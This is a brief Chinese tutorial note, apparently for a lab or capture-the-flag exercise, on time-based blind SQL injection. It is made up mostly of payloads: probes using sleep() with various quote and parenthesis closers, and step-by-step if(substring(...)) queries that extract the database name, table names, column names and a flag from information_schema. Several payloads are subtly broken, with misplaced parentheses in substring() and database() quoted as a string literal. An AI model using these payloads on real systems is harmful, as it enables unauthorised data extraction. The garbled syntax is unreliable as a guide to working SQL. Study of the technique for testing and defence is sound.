SQL時間型注入
判斷時間型注入時,只要讓sleep()函數執行成功,那么就可以根據回顯時間判斷是否為時間型注入
在時間型注入中,常常用到if()函數,if(語句一,語句2,語句3),如果語句一為真,執行語句2,否則執行語句3
幾個常用的判斷函數,substring(),length,user(),database(),下面是幾個判斷時間型注入的常見語句
' and if(1=0,1, sleep(10)) --+
" and if(1=0,1, sleep(10)) --+
) and if(1=0,1, sleep(10)) --+
') and if(1=0,1, sleep(10)) --+
") and if(1=0,1, sleep(10)) --+
type=sleep(3)--+ 這里有個參數type,判斷出存在時間注入,那么接下來我們就可以和盲注型注入差不多進行注入,在進行字符判斷時,可以使用二分法加快速率
1. 判斷數據庫長度
type=if(length(database())=12,sleep(2),100)--+
2. 判斷數據庫名字
type=if(substring(database(),1,1)='p',111,sleep(3))--+
3. 判斷表名
type=if(substring((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1='a'),11111,sleep(1))--+
4. 判斷列名
type=if(substring((select column_name from information_schema.columns where table_name='flag' and table_schema='database()' limit
0,1),1,1='a'),11111,sleep(1))--+
5. 判斷具體字段內容
type=if(substring((select flag from pentesterlab.flag limit 0,1),1,1='a'),sleep(3),111111) --+